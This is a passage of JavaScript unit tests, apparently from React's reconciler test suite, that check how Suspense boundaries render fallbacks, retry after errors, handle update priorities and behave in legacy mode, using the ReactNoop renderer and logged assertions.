</Suspense>\n        <Suspense fallback={<Text text=\"Loading B...\" />}>\n          <AsyncText text=\"B\" />\n        </Suspense>\n      </Fragment>,\n    );\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A...',\n      'Suspend! [B]',\n      'Loading B...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Loading A...\" />\n        <span prop=\"Loading B...\" />\n      </>,\n    );\n\n    // Resolve first Suspense's promise so that it switches switches back to the\n    // normal view. The second Suspense should still show the placeholder.\n    await act(() => resolveText('A'));\n    assertLog([\n      'A',\n      ...(gate('alwaysThrottleRetries')\n        ? ['Suspend! [B]', 'Suspend! [B]']\n        : []),\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"Loading B...\" />\n      </>,\n    );\n\n    // Resolve the second Suspense's promise so that it switches back to the\n    // normal view.\n    await act(() => resolveText('B'));\n    assertLog(['B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('when something suspends, unwinds immediately without rendering siblings', async () => {\n    // A shell is needed. The update cause it to suspend.\n    ReactNoop.render(<Suspense fallback={<Text text=\"Loading...\" />} />);\n    await waitForAll([]);\n    React.startTransition(() => {\n      ReactNoop.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"A\" />\n          <AsyncText text=\"B\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </Suspense>,\n      );\n    });\n\n    // B suspends. Render a fallback\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      // pre-warming\n      'C',\n      'D',\n      // end pre-warming\n      'Loading...',\n    ]);\n    // Did not commit yet.\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Wait for data to resolve\n    await resolveText('B');\n    await waitForAll(['A', 'B', 'C', 'D']);\n    // Renders successfully\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n        <span prop=\"C\" />\n        <span prop=\"D\" />\n      </>,\n    );\n  });\n\n  // Second condition is redundant but guarantees that the test runs in prod.\n  // @gate enableLegacyCache\n  it('retries on error', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      reset() {\n        this.setState({error: null});\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={'Caught error: ' + this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    const errorBoundary = React.createRef();\n    function App({renderContent}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {renderContent ? (\n            <ErrorBoundary ref={errorBoundary}>\n              <AsyncText text=\"Result\" />\n            </ErrorBoundary>\n          ) : null}\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    React.startTransition(() => {\n      ReactNoop.render(<App renderContent={true} />);\n    });\n    await waitForAll(['Suspend! [Result]', 'Loading...']);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await rejectText('Result', new Error('Failed to load: Result'));\n\n    await waitForAll([\n      'Error! [Result]',\n\n      // React retries one more time\n      'Error! [Result]',\n\n      // Errored again on retry. Now handle it.\n      'Caught error: Failed to load: Result',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught error: Failed to load: Result\" />,\n    );\n  });\n\n  // Second condition is redundant but guarantees that the test runs in prod.\n  // @gate enableLegacyCache\n  it('retries on error after falling back to a placeholder', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      reset() {\n        this.setState({error: null});\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={'Caught error: ' + this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    const errorBoundary = React.createRef();\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <ErrorBoundary ref={errorBoundary}>\n            <AsyncText text=\"Result\" />\n          </ErrorBoundary>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll([\n      'Suspend! [Result]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Result]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n    await act(() => rejectText('Result', new Error('Failed to load: Result')));\n    assertLog([\n      'Error! [Result]',\n\n      // React retries one more time\n      'Error! [Result]',\n\n      // Errored again on retry. Now handle it.\n      'Caught error: Failed to load: Result',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught error: Failed to load: Result\" />,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('can update at a higher priority while in a suspended state', async () => {\n    let setHighPri;\n    function HighPri() {\n      const [text, setText] = React.useState('A');\n      setHighPri = setText;\n      return <Text text={text} />;\n    }\n\n    let setLowPri;\n    function LowPri() {\n      const [text, setText] = React.useState('1');\n      setLowPri = setText;\n      return <AsyncText text={text} />;\n    }\n\n    function App() {\n      return (\n        <>\n          <HighPri />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <LowPri />\n          </Suspense>\n        </>\n      );\n    }\n\n    // Initial mount\n    await act(() => ReactNoop.render(<App />));\n    assertLog([\n      'A',\n      'Suspend! [1]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [1]',\n    ]);\n\n    await act(() => resolveText('1'));\n    assertLog(['1']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"1\" />\n      </>,\n    );\n\n    // Update the low-pri text\n    await act(() => startTransition(() => setLowPri('2')));\n    // Suspends\n    assertLog(['Suspend! [2]', 'Loading...']);\n\n    // While we're still waiting for the low-pri update to complete, update the\n    // high-pri text at high priority.\n    ReactNoop.flushSync(() => {\n      setHighPri('B');\n    });\n    assertLog(['B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"B\" />\n        <span prop=\"1\" />\n      </>,\n    );\n\n    // Unblock the low-pri text and finish. Nothing in the UI changes because\n    // the update was overriden\n    await act(() => resolveText('2'));\n    assertLog(['2']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"B\" />\n        <span prop=\"2\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('keeps working on lower priority work after being pinged', async () => {\n    function App(props) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {props.showA && <AsyncText text=\"A\" />}\n          {props.showB && <Text text=\"B\" />}\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<App showA={false} showB={false} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    React.startTransition(() => {\n      ReactNoop.render(<App showA={true} showB={false} />);\n    });\n    await waitForAll(['Suspend! [A]', 'Loading...']);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    React.startTransition(() => {\n      ReactNoop.render(<App showA={true} showB={true} />);\n    });\n    await waitForAll([\n      'Suspend! [A]',\n      // pre-warming\n      'B',\n      // end pre-warming\n      'Loading...',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await resolveText('A');\n    await waitForAll(['A', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('tries rendering a lower priority pending update even if a higher priority one suspends', async () => {\n    function App(props) {\n      if (props.hide) {\n        return <Text text=\"(empty)\" />;\n      }\n      return (\n        <Suspense fallback=\"Loading...\">\n          <AsyncText text=\"Async\" />\n        </Suspense>\n      );\n    }\n\n    // Schedule a default pri update and a low pri update, without rendering in between.\n    // Default pri\n    ReactNoop.render(<App />);\n    // Low pri\n    React.startTransition(() => {\n      ReactNoop.render(<App hide={true} />);\n    });\n\n    await waitForAll([\n      // The first update suspends\n      'Suspend! [Async]',\n      // but we have another pending update that we can work on\n      '(empty)',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"(empty)\" />);\n  });\n\n  // Note: This test was written to test a heuristic used in the expiration\n  // times model. Might not make sense in the new model.\n  // TODO: This test doesn't over what it was originally designed to test.\n  // Either rewrite or delete.\n  it('tries each subsequent level after suspending', async () => {\n    const root = ReactNoop.createRoot();\n\n    function App({step, shouldSuspend}) {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Text text=\"Sibling\" />\n          {shouldSuspend ? (\n            <AsyncText text={'Step ' + step} />\n          ) : (\n            <Text text={'Step ' + step} />\n          )}\n        </Suspense>\n      );\n    }\n\n    function interrupt() {\n      // React has a heuristic to batch all updates that occur within the same\n      // event. This is a trick to circumvent that heuristic.\n      ReactNoop.flushSync(() => {\n        ReactNoop.renderToRootWithID(null, 'other-root');\n      });\n    }\n\n    // Mount the Suspense boundary without suspending, so that the subsequent\n    // updates suspend with a delay.\n    await act(() => {\n      root.render(<App step={0} shouldSuspend={false} />);\n    });\n    await advanceTimers(1000);\n    assertLog(['Sibling', 'Step 0']);\n\n    // Schedule an update at several distinct expiration times\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<App step={1} shouldSuspend={true} />);\n      });\n      Scheduler.unstable_advanceTime(1000);\n      await waitFor(['Sibling']);\n      interrupt();\n\n      React.startTransition(() => {\n        root.render(<App step={2} shouldSuspend={true} />);\n      });\n      Scheduler.unstable_advanceTime(1000);\n      await waitFor(['Sibling']);\n      interrupt();\n\n      React.startTransition(() => {\n        root.render(<App step={3} shouldSuspend={true} />);\n      });\n      Scheduler.unstable_advanceTime(1000);\n      await waitFor(['Sibling']);\n      interrupt();\n\n      root.render(<App step={4} shouldSuspend={false} />);\n    });\n\n    assertLog(['Sibling', 'Step 4']);\n  });\n\n  // @gate enableLegacyCache\n  it('switches to an inner fallback after suspending for a while', async () => {\n    // Advance the virtual time so that we're closer to the edge of a bucket.\n    ReactNoop.expire(200);\n\n    ReactNoop.render(\n      <Fragment>\n        <Text text=\"Sync\" />\n        <Suspense fallback={<Text text=\"Loading outer...\" />}>\n          <AsyncText text=\"Outer content\" />\n          <Suspense fallback={<Text text=\"Loading inner...\" />}>\n            <AsyncText text=\"Inner content\" />\n          </Suspense>\n        </Suspense>\n      </Fragment>,\n    );\n\n    await waitForAll([\n      'Sync',\n      // The async content suspends\n      'Suspend! [Outer content]',\n      'Loading outer...',\n      // pre-warming\n      'Suspend! [Outer content]',\n      'Suspend! [Inner content]',\n      'Loading inner...',\n    ]);\n    // The outer loading state finishes immediately.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Sync\" />\n        <span prop=\"Loading outer...\" />\n      </>,\n    );\n\n    // Resolve the outer promise.\n    await resolveText('Outer content');\n    await waitForAll([\n      'Outer content',\n      'Suspend! [Inner content]',\n      'Loading inner...',\n    ]);\n    // Don't commit the inner placeholder yet.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Sync\" />\n        <span prop=\"Loading outer...\" />\n      </>,\n    );\n\n    // Expire the inner timeout.\n    ReactNoop.expire(500);\n    await advanceTimers(500);\n    // Now that 750ms have elapsed since the outer placeholder timed out,\n    // we can timeout the inner placeholder.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Sync\" />\n        <span prop=\"Outer content\" />\n        <span prop=\"Loading inner...\" />\n      </>,\n    );\n\n    // Finally, flush the inner promise. We should see the complete screen.\n    await act(() => resolveText('Inner content'));\n    assertLog(['Inner content']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Sync\" />\n        <span prop=\"Outer content\" />\n        <span prop=\"Inner content\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('renders an Suspense boundary synchronously', async () => {\n    spyOnDev(console, 'error');\n    // Synchronously render a tree that suspends\n    ReactNoop.flushSync(() =>\n      ReactNoop.render(\n        <Fragment>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Async\" />\n          </Suspense>\n          <Text text=\"Sync\" />\n        </Fragment>,\n      ),\n    );\n    assertLog([\n      // The async child suspends\n      'Suspend! [Async]',\n      // We immediately render the fallback UI\n      'Loading...',\n      // Continue on the sibling\n      'Sync',\n    ]);\n    // The tree commits synchronously\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Loading...\" />\n        <span prop=\"Sync\" />\n      </>,\n    );\n\n    // Once the promise resolves, we render the suspended view\n    await act(() => resolveText('Async'));\n    assertLog(['Async']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Async\" />\n        <span prop=\"Sync\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('suspending inside an expired expiration boundary will bubble to the next one', async () => {\n    ReactNoop.flushSync(() =>\n      ReactNoop.render(\n        <Fragment>\n          <Suspense fallback={<Text text=\"Loading (outer)...\" />}>\n            <Suspense fallback={<AsyncText text=\"Loading (inner)...\" />}>\n              <AsyncText text=\"Async\" />\n            </Suspense>\n            <Text text=\"Sync\" />\n          </Suspense>\n        </Fragment>,\n      ),\n    );\n    assertLog([\n      'Suspend! [Async]',\n      'Suspend! [Loading (inner)...]',\n      'Loading (outer)...',\n    ]);\n    // The tree commits synchronously\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading (outer)...\" />);\n  });\n\n  // @gate enableLegacyCache\n  it('resolves successfully even if fallback render is pending', async () => {\n    const root = ReactNoop.createRoot();\n    root.render(\n      <>\n        <Suspense fallback={<Text text=\"Loading...\" />} />\n      </>,\n    );\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput(null);\n    React.startTransition(() => {\n      root.render(\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Async\" />\n            <Text text=\"Sibling\" />\n          </Suspense>\n        </>,\n      );\n    });\n    await waitFor(['Suspend! [Async]']);\n\n    await resolveText('Async');\n\n    // Because we're already showing a fallback, interrupt the current render\n    // and restart immediately.\n    await waitForAll(['Async', 'Sibling']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Async\" />\n        <span prop=\"Sibling\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('in concurrent mode, does not error when an update suspends without a Suspense boundary during a sync update', () => {\n    // NOTE: We may change this to be a warning in the future.\n    expect(() => {\n      ReactNoop.flushSync(() => {\n        ReactNoop.render(<AsyncText text=\"Async\" />);\n      });\n    }).not.toThrow();\n  });\n\n  // @gate enableLegacyCache && !disableLegacyMode\n  it('in legacy mode, errors when an update suspends without a Suspense boundary during a sync update', async () => {\n    const root = ReactNoop.createLegacyRoot();\n    await expect(async () => {\n      await act(() => root.render(<AsyncText text=\"Async\" />));\n    }).rejects.toThrow(\n      'A component suspended while responding to synchronous input.',\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('a Suspense component correctly handles more than one suspended child', async () => {\n    ReactNoop.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <AsyncText text=\"A\" />\n        <AsyncText text=\"B\" />\n      </Suspense>,\n    );\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n    await act(() => {\n      resolveText('A');\n      resolveText('B');\n    });\n    assertLog(['A', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('can resume rendering earlier than a timeout', async () => {\n    ReactNoop.render(<Suspense fallback={<Text text=\"Loading...\" />} />);\n    await waitForAll([]);\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"Async\" />\n        </Suspense>,\n      );\n    });\n    await waitForAll(['Suspend! [Async]', 'Loading...']);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Resolve the promise\n    await resolveText('Async');\n    // We can now resume rendering\n    await waitForAll(['Async']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Async\" />);\n  });\n\n  // @gate enableLegacyCache\n  it('starts working on an update even if its priority falls between two suspended levels', async () => {\n    function App(props) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {props.text === 'C' || props.text === 'S' ? (\n            <Text text={props.text} />\n          ) : (\n            <AsyncText text={props.text} />\n          )}\n        </Suspense>\n      );\n    }\n\n    // First mount without suspending. This ensures we already have content\n    // showing so that subsequent updates will suspend.\n    ReactNoop.render(<App text=\"S\" />);\n    await waitForAll(['S']);\n\n    // Schedule an update, and suspend for up to 5 seconds.\n    React.startTransition(() => ReactNoop.render(<App text=\"A\" />));\n    // The update should suspend.\n    await waitForAll(['Suspend! [A]', 'Loading...']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"S\" />);\n\n    // Advance time until right before it expires.\n    await advanceTimers(4999);\n    ReactNoop.expire(4999);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"S\" />);\n\n    // Schedule another low priority update.\n    React.startTransition(() => ReactNoop.render(<App text=\"B\" />));\n    // This update should also suspend.\n    await waitForAll(['Suspend! [B]', 'Loading...']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"S\" />);\n\n    // Schedule a regular update. Its expiration time will fall between\n    // the expiration times of the previous two updates.\n    ReactNoop.render(<App text=\"C\" />);\n    await waitForAll(['C']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"C\" />);\n\n    // Flush the remaining work.\n    await resolveText('A');\n    await resolveText('B');\n    // Nothing else to render.\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"C\" />);\n  });\n\n  // @gate enableLegacyCache\n  it('a suspended update that expires', async () => {\n    // Regression test. This test used to fall into an infinite loop.\n    function ExpensiveText({text}) {\n      // This causes the update to expire.\n      Scheduler.unstable_advanceTime(10000);\n      // Then something suspends.\n      return <AsyncText text={text} />;\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <ExpensiveText text=\"A\" />\n          <ExpensiveText text=\"B\" />\n          <ExpensiveText text=\"C\" />\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll([\n      'Suspend! [A]',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n      'Suspend! [C]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n\n    await resolveText('A');\n    await resolveText('B');\n    await resolveText('C');\n\n    await waitForAll(['A', 'B', 'C']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n        <span prop=\"C\" />\n      </>,\n    );\n  });\n\n  describe('legacy mode mode', () => {\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('times out immediately', async () => {\n      function App() {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Result\" />\n          </Suspense>\n        );\n      }\n\n      // Times out immediately, ignoring the specified threshold.\n      ReactNoop.renderLegacySyncRoot(<App />);\n      assertLog(['Suspend! [Result]', 'Loading...']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n      await act(() => {\n        resolveText('Result');\n      });\n\n      assertLog(['Result']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Result\" />);\n    });\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('times out immediately when Suspense is in legacy mode', async () => {\n      class UpdatingText extends React.Component {\n        state = {step: 1};\n        render() {\n          return <AsyncText text={`Step: ${this.state.step}`} />;\n        }\n      }\n\n      function Spinner() {\n        return (\n          <Fragment>\n            <Text text=\"Loading (1)\" />\n            <Text text=\"Loading (2)\" />\n            <Text text=\"Loading (3)\" />\n          </Fragment>\n        );\n      }\n\n      const text = React.createRef(null);\n      function App() {\n        return (\n          <Suspense fallback={<Spinner />}>\n            <UpdatingText ref={text} />\n            <Text text=\"Sibling\" />\n          </Suspense>\n        );\n      }\n\n      // Initial mount.\n      await seedNextTextCache('Step: 1');\n      ReactNoop.renderLegacySyncRoot(<App />);\n      assertLog(['Step: 1', 'Sibling']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Step: 1\" />\n          <span prop=\"Sibling\" />\n        </>,\n      );\n\n      // Update.\n      text.current.setState({step: 2}, () =>\n        Scheduler.log('Update did commit'),\n      );\n\n      expect(ReactNoop.flushNextYield()).toEqual([\n        'Suspend! [Step: 2]',\n        'Loading (1)',\n        'Loading (2)',\n        'Loading (3)',\n        'Update did commit',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"Step: 1\" />\n          <span hidden={true} prop=\"Sibling\" />\n          <span prop=\"Loading (1)\" />\n          <span prop=\"Loading (2)\" />\n          <span prop=\"Loading (3)\" />\n        </>,\n      );\n\n      await act(() => {\n        resolveText('Step: 2');\n      });\n      assertLog(['Step: 2']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Step: 2\" />\n          <span prop=\"Sibling\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('does not re-render siblings in loose mode', async () => {\n      class TextWithLifecycle extends React.Component {\n        componentDidMount() {\n          Scheduler.log(`Mount [${this.props.text}]`);\n        }\n        componentDidUpdate() {\n          Scheduler.log(`Update [${this.props.text}]`);\n        }\n        render() {\n          return <Text {...this.props} />;\n        }\n      }\n\n      class AsyncTextWithLifecycle extends React.Component {\n        componentDidMount() {\n          Scheduler.log(`Mount [${this.props.text}]`);\n        }\n        componentDidUpdate() {\n          Scheduler.log(`Update [${this.props.text}]`);\n        }\n        render() {\n          return <AsyncText {...this.props} />;\n        }\n      }\n\n      function App() {\n        return (\n          <Suspense fallback={<TextWithLifecycle text=\"Loading...\" />}>\n            <TextWithLifecycle text=\"A\" />\n            <AsyncTextWithLifecycle text=\"B\" />\n            <TextWithLifecycle text=\"C\" />\n          </Suspense>\n        );\n      }\n\n      ReactNoop.renderLegacySyncRoot(<App />, () =>\n        Scheduler.log('Commit root'),\n      );\n      assertLog([\n        'A',\n        'Suspend! [B]',\n        'C',\n\n        'Loading...',\n        'Mount [A]',\n        'Mount [B]',\n        'Mount [C]',\n        // This should be a mount, not an update.\n        'Mount [Loading...]',\n        'Commit root',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span hidden={true} prop=\"A\" />\n          <span hidden={true} prop=\"C\" />\n\n          <span prop=\"Loading...\" />\n        </>,\n      );\n\n      await act(() => {\n        resolveText('B');\n      });\n\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"A\" />\n          <span prop=\"B\" />\n          <span prop=\"C\" />\n        </>,\n      );\n    });\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('suspends inside constructor', async () => {\n      class AsyncTextInConstructor extends React.Component {\n        constructor(props) {\n          super(props);\n          const text = props.text;\n          Scheduler.log('constructor');\n          readText(text);\n          this.state = {text};\n        }\n        componentDidMount() {\n          Scheduler.log('componentDidMount');\n        }\n        render() {\n          Scheduler.log(this.state.text);\n          return <span prop={this.state.text} />;\n        }\n      }\n\n      ReactNoop.renderLegacySyncRoot(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncTextInConstructor text=\"Hi\" />\n        </Suspense>,\n      );\n\n      assertLog(['constructor', 'Suspend! [Hi]', 'Loading...']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n      await act(() => {\n        resolveText('Hi');\n      });\n\n      assertLog(['constructor', 'Hi', 'componentDidMount']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Hi\" />);\n    });\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('does not infinite loop if fallback contains lifecycle method', async () => {\n      class Fallback extends React.Component {\n        state = {\n          name: 'foo',\n        };\n        componentDidMount() {\n          this.setState({\n            name: 'bar',\n          });\n        }\n        render() {\n          return <Text text=\"Loading...\" />;\n        }\n      }\n\n      class Demo extends React.Component {\n        render() {\n          return (\n            <Suspense fallback={<Fallback />}>\n              <AsyncText text=\"Hi\" />\n            </Suspense>\n          );\n        }\n      }\n\n      ReactNoop.renderLegacySyncRoot(<Demo />);\n\n      assertLog([\n        'Suspend! [Hi]',\n        'Loading...',\n        // Re-render due to lifecycle update\n        'Loading...',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n      await act(() => {\n        resolveText('Hi');\n      });\n      assertLog(['Hi']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Hi\" />);\n    });\n\n    if (global.__PERSISTENT__) {\n      // @gate enableLegacyCache && !disableLegacyMode\n      it('hides/unhides suspended children before layout effects fire (persistent)', async () => {\n        const {useRef, useLayoutEffect} = React;\n\n        function Parent() {\n          const child = useRef(null);\n\n          useLayoutEffect(() => {\n            Scheduler.log(ReactNoop.getPendingChildrenAsJSX());\n          });\n\n          return (\n            <span ref={child} hidden={false}>\n              <AsyncText text=\"Hi\" />\n            </span>\n          );\n        }\n\n        function App(props) {\n          return (\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Parent />\n            </Suspense>\n          );\n        }\n\n        ReactNoop.renderLegacySyncRoot(<App middleText=\"B\" />);\n\n        assertLog([\n          'Suspend! [Hi]',\n          'Loading...',\n          // The child should have already been hidden\n          <>\n            <span hidden={true} />\n            <span prop=\"Loading...\" />\n          </>,\n        ]);\n\n        await act(() => {\n          resolveText('Hi');\n        });\n        assertLog(['Hi']);\n      });\n    } else {\n      // @gate enableLegacyCache && !disableLegacyMode\n      it('hides/unhides suspended children before layout effects fire (mutation)', async () => {\n        const {useRef, useLayoutEffect} = React;\n\n        function Parent() {\n          const child = useRef(null);\n\n          useLayoutEffect(() => {\n            Scheduler.log('Child is hidden: ' + child.current.hidden);\n          });\n\n          return (\n            <span ref={child} hidden={false}>\n              <AsyncText text=\"Hi\" />\n            </span>\n          );\n        }\n\n        function App(props) {\n          return (\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Parent />\n            </Suspense>\n          );\n        }\n\n        ReactNoop.renderLegacySyncRoot(<App middleText=\"B\" />);\n\n        assertLog([\n          'Suspend! [Hi]',\n          'Loading...',\n          // The child should have already been hidden\n          'Child is hidden: true',\n        ]);\n\n        await act(() => {\n          resolveText('Hi');\n        });\n\n        assertLog(['Hi']);\n      });\n    }\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('handles errors in the return path of a component that suspends', async () => {\n      // Covers an edge case where an error is thrown inside the complete phase\n      // of a component that is in the return path of a component that suspends.\n      // The second error should also be handled (i.e. able to be captured by\n      // an error boundary.\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        static getDerivedStateFromError(error, errorInfo) {\n          return {error};\n        }\n        render() {\n          if (this.state.error) {\n            return `Caught an error: ${this.state.error.message}`;\n          }\n          return this.props.children;\n        }\n      }\n\n      ReactNoop.renderLegacySyncRoot(\n        <ErrorBoundary>\n          <Suspense fallback=\"Loading...\">\n            <errorInCompletePhase>\n              <AsyncText text=\"Async\" />\n            </errorInCompletePhase>\n          </Suspense>\n        </ErrorBoundary>,\n      );\n\n      assertLog(['Suspend! [Async]']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        'Caught an error: Error in host config.',\n      );\n    });\n\n    // @gate !disableLegacyMode\n    it('does not drop mounted effects', async () => {\n      const never = {then() {}};\n\n      let setShouldSuspend;\n      function App() {\n        const [shouldSuspend, _setShouldSuspend] = React.useState(0);\n        setShouldSuspend = _setShouldSuspend;\n        return (\n          <Suspense fallback=\"Loading...\">\n            <Child shouldSuspend={shouldSuspend} />\n          </Suspense>\n        );\n      }\n\n      function Child({shouldSuspend}) {\n        if (shouldSuspend) {\n          throw never;\n        }\n\n        React.useEffect(() => {\n          Scheduler.log('Mount');\n          return () => {\n            Scheduler.log('Unmount');\n          };\n        }, []);\n\n        return 'Child';\n      }\n\n      const root = ReactNoop.createLegacyRoot(null);\n      await act(() => {\n        root.render(<App />);\n      });\n      assertLog(['Mount']);\n      expect(root).toMatchRenderedOutput('Child');\n\n      // Suspend the child. This puts it into an inconsistent state.\n      await act(() => {\n        setShouldSuspend(true);\n      });\n      expect(root).toMatchRenderedOutput('Loading...');\n\n      // Unmount everything\n      await act(() => {\n        root.render(null);\n      });\n      assertLog(['Unmount']);\n    });\n  });\n\n  // @gate enableLegacyCache && !disableLegacyMode\n  it('does not call lifecycles of a suspended component', async () => {\n    class TextWithLifecycle extends React.Component {\n      componentDidMount() {\n        Scheduler.log(`Mount [${this.props.text}]`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`Update [${this.props.text}]`);\n      }\n      componentWillUnmount() {\n        Scheduler.log(`Unmount [${this.props.text}]`);\n      }\n      render() {\n        return <Text {...this.props} />;\n      }\n    }\n\n    class AsyncTextWithLifecycle extends React.Component {\n      componentDidMount() {\n        Scheduler.log(`Mount [${this.props.text}]`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`Update [${this.props.text}]`);\n      }\n      componentWillUnmount() {\n        Scheduler.log(`Unmount [${this.props.text}]`);\n      }\n      render() {\n        const 